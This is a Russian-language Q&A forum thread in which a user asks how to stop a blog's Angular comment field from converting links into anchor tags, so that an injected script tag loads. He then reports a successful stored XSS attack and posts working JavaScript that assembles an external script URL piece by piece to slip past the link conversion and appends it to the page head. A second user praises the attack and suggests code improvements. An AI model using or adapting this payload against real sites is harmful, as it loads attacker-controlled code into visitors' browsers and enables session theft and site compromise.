Все ссылки введенные в комментарии превращаются в элемент. Как оставить в виде текста?

Question

[Бруто]

Есть приложение которое работает на angular. Что-то типа блога. Если в комментарии ввести<script> и какой-то код, то он выполняется. Но если ввести какую-то ссылку, типа google.com, то она превратится в <a href="http://google.com">google.com</a>. Как оставить все в виде текста?

Comments

[Бруто]

если вводить google.com то это текст. Но если вводить google.com/js или google.com - ссылка.

[Даниил]

Я не разбираюсь в Ангуляре, но то что ты описываешь называется инъекцией кода. В интернете куча информации, просто погугли.
Также XSS

[Бруто]

Даниил, Вопрос в том, что комменты сохраняются и код спокойно выполняется. Но все ссылки превращаются в эллемент

То есть код:
<code><script src="Ссылка"></script></code>
Првератится в :
<code><script src="<a href="Ссылка">Ссылка</a></code>"></script>

И не будет работать

[Бруто]

Даниил, То есть нужно найти в коде скрипт который это делает и октлючить

[Бруто]

Даниил, Успешно провел XSS атаку)
Дело в том, что только при загрузке проверяется текст, и ссылки превращаются в элементы. Да еще и только в переделах 1 div. Просто создал переменную, куда по частям положил ссылку.

setTimeout(function(){   
     var my_awesome_script = document.createElement('script');
let a = "";
a = "http" + ":" + "//" +"somesite."+ "ru"+"/someURN";
my_awesome_script.setAttribute('src',a);
document.head.appendChild(my_awesome_script);}, 2000)

Answer 1

[Бруто]

Даниил, Успешно провел XSS атаку)
Дело в том, что только при загрузке проверяется текст, и ссылки превращаются в элементы. Да еще и только в переделах 1 div. Просто создал переменную, куда по частям положил ссылку.

setTimeout(function(){   
     var my_awesome_script = document.createElement('script');
let a = "";
a = "http" + ":" + "//" +"somesite."+ "ru"+"/someURN";
my_awesome_script.setAttribute('src',a);
document.head.appendChild(my_awesome_script);}, 2000)

Comments

[Даниил]

Красаучик
-Так ты var или let используешь? (надо let)
-let a = "" можно было не писать, ты же сразу определяешь его значение
-setAttribute устарело, вместо него можно использовать my_awesome_script.src =